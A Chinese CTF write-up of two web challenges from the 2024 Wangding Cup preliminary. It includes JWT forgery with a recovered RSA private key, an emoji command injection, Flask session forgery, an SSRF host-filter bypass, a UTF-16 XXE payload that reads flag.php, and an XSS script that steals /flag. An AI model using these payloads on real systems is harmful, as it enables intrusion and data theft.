2024網鼎杯初賽-青龍組-WEB gxngxngxn

gxngxngxn發表於2024-10-29
Web

WEB01

開局隨便隨便輸入都可以登入，登上去以後生成了一個token和一個session，一個是jwt一個是flask框架的

這邊先偽造jwt,是國外的原題

CTFtime.org / DownUnderCTF 2021 （線上） / JWT / Writeup

先生成兩個token，然後利用rsa_sign2n工具來生成公鑰

 python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYWFhIn0.EnToBP4kzW6jbUqkC7fjt-FcCq9mOMhKWRqKpo12BsG464YTX2QNiBLuzgqJhnDlGF2Ukqb6oWXhFm0qiKrbg1skUb0FO2kMBkEvRLpyGJ7tXOzcndGDl-egaMa-mSN321RNW-aiCKJsij5Tf0HzQgBU8UCg1Zd8uJaybcj3oXOi eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.IUanU3g_ZtyPjDnOJ9gockfRo1oOQLmQT0To_WYLi9I9PluHxbBId5d2wFiF-sIhGPuDtzPvShiE1ao0qnMlp3X7pVf-Qb-juaslvbnpR1rCKH2D3Kq4u1d2wEDvsgWVtjYA6s5NXrvJpzDcpZlzmx_6Ywn8caqVQ3kjlTv87OKO

得到public key

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgSSlUMfCzg/ysG4ixoi6NKGuWNnv
IpZZTRNa045eH2xzzY/ZyRwDojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fAN
MNCYRa47xIW0RwZBDSABcGnwu3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502
ZMSv0AxMgN5UMh9FCwIDAQAB
-----END PUBLIC KEY-----

然後利用RsaCtfTool得到私鑰

-----BEGIN RSA PRIVATE KEY-----
MIICoQIBAAKBgSSlUMfCzg/ysG4ixoi6NKGuWNnvIpZZTRNa045eH2xzzY/ZyRwD
ojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fANMNCYRa47xIW0RwZBDSABcGnw
u3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502ZMSv0AxMgN5UMh9FCwIDAQAB
AoGBC5/r+nCv2+uWXTjL8i6UJtLIfdOssxKbJNiIKLXQh3l8IAAfx1i9ktxYEICW
TcGTUkx9gjd+xUwo0KOKjcg3hZc7bEfLkiOsK8dSwsPFEXYQpCE1EFokhkc9Rbiq
URC9QIrQjtzf5vdU2usj5ddRGtqtmpXm/ibU1TLPIsy8Y5TJAoGBAP2Mj8b+pnwu
SCp0EYh99ogr6jblQlVwySv34UDQarcFjkQoB60SOMZpGCyPr/auhfDIsNvKyXLK
S7IBEBFMETWywUx28OGFV7xtGF7RfLWmaKYXy4ML/DfHonV8khZ6h5wpyxPL3Wli
uJCSSsjNgXhj4aeGLtRRuySpiXflrdFvAgElAoGBALrhzOO+tJWZQ2XPMVEqjvjl
bXfS2WbCf/Theuzb8Zw/AxJncuj1IlXUBpZpvigTkPPd6MXIHV13j/1+3QnyyEiN
Hf6vOHLxZq6itrDEtafqJP4vUbigr+GpSqxQChl5bNUE1QMdY3AW7LTarzZ8iq5i
6GMi+wdRyp+GOqXd65UPAgERAoGAUjts5pfHSt6T8hfOVcf87eS6qgUqRTlWAGwR
tCfrQkb9tT1qRfgSadzlPuJ+QirDqAm80amNcVZdvTDG8NpmckfP/R+oEcphpOUc
qSFY4PezPMlyb7DcLcQ0sHttpmztthtkdR+GFFdedBPFOjTQC16qDNGSpbmkepfZ
jqta99E=
-----END RSA PRIVATE KEY-----

接著直接偽造jwt即可，成功偽造了使用者名稱為admin

可以訪問game路由使用功能，這裡又是國外原題

AIS3-pre-exam-2024-Writeup | 堇姬 Naup's Blog

利用emo表情構造出cd flag;p:|cat *

💿 🚩😜😐🐱 ⭐

直接讀原始碼，可以得到secret_key為36f8efbea152e50b23290e0ed707b4b0

那麼直接偽造

然後就可以使用上傳檔案的功能，我們先審計一下這部分的原始碼

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    form = UploadForm()
    if not payload or payload['username'] != 'admin':
        error_message = 'You do not have permission to access this page.Your username is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    if not session['role'] or session['role'] != 'admin':
        error_message = 'You do not have permission to access this page.Your role is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    

    if form.validate_on_submit():
        file = form.avatar.data
        if file:
            filename = secure_filename(file.filename)
            files = {'file': (filename, file.stream, file.content_type)}
            php_service_url = 'http://127.0.0.1/upload.php'
            response = requests.post(php_service_url, files=files)
            if response.status_code == 200:
                flash(response.text, 'success')
            else:
                flash('Failed to upload file to PHP service', 'danger')
    return render_template('upload.html', form=form)

@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():
    token = request.cookies.get('token')
    form = GameForm()
    if not token:
        error_message = 'Please login first'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    payload = decode_jwt(token)
    if not payload:
        error_message = 'Invalid or expired token. Please login again.'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    if not payload['username']=='admin':
        error_message = 'You do not have permission to access this page.Your username is not admin'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    user_input = None
    if form.validate_on_submit():
        filepath = form.user_input.data
        pathurl = request.form.get('path')
        if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
            error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."
            return render_template('view_uploads.html', form=form, error_message=error_message)
        params = {'s': filepath}
        try:
            response = requests.get("http://"+pathurl, params=params, timeout=1)
            return render_template('view_uploads.html', form=form, user_input=response.text)
        except:
            error_message = "500! Server Error"
            return render_template('view_uploads.html', form=form, error_message=error_message)
    return render_template('view_uploads.html', form=form, user_input=user_input)

這裡面80埠有個php服務，然後/upload路由可以上傳檔案到uplaods目錄下，在view_uploads路由下可以檢視，但是存在waf

if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):

這裡必須包含這個域名，而且不能有127.0.0.1，那麼這裡可以用0.0.0.0來代替127.0.0.1，用ssrf中的跳轉來繞過域名限制

POST /view_uploads HTTP/1.1
Host: 0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 211
Origin: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
Connection: close
Referer: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732/view_uploads
Cookie: session=eyJjc3JmX3Rva2VuIjoiYmQyNTJlZDZlYTQ5ZmJmOWQyZjJjMmQ0YTBlNjc1YzJhYzlmNmU5MyIsInJvbGUiOiJhZG1pbiJ9.ZyBmXg.eLZ3Z69hYgP6lG3vjiMNsKTLCno; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.DNqIFNdFOWgGGnuk95SQa5GdU_D6TDv95lTU97wUP8ekgqX6zrnvvsnp8XkvVfSx0g3xVQqbo5xhdxjNpM8LiiwX_kQ8FO8t0q0qBn1RJ5O2bGkGOZsUWAUrKg7ME6L4-XFiXi7P328f1t4En_kSp91SeS7-9Lcn7Ja__IJbRuH1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

csrf_token=ImJkMjUyZWQ2ZWE0OWZiZjlkMmYyYzJkNGEwZTY3NWMyYWM5ZjZlOTMi.ZyBmag.RCasLc0XUU8ep682nDtSZ5PeqsQ&path=www.testctf.com@0.0.0.0&user_input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8&submit=Submit

那麼可以先隨便上傳一個檔案，然後讀取，發現會報Failed to load XML file，猜測會解析xml，直接打xxe，但是過濾了system等許多關鍵字，那麼採用utf-16編碼繞過，直接讀flag.php檔案

<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

iconv -f utf8 -t utf16 1.xml>3.xml

然後上傳3.xml，再去讀取，得到flag

WEB02

開啟容器一個登入介面，隨便輸入賬號密碼可以進到漏洞介面

這裡有一個傳送給boss的功能，一眼xss

然後訪問/flag，需要boss才能訪問，這裡我們就可以提交一個xss，然後讓boss先訪問/flag,再把資料帶給我們的content裡面

<script>var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;

xmlhttp.onreadystatechange = function() {
    if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
        var flagData = xmlhttp.responseText;
        var flag1 = btoa(flagData);
        var remoteServerUrl = '/content/4a95828e3f0037bfe446ae0e693912df';
        var xmlhttp2 = new XMLHttpRequest();
        xmlhttp2.open("POST", remoteServerUrl, true);
        xmlhttp2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xmlhttp2.send("content=" + encodeURIComponent(flag1))
    }
};
xmlhttp.open('GET', '/flag', true);
xmlhttp.send();</script>

更新任務後，傳送給boss

接著回到頁面可以看到flag已經發過來了

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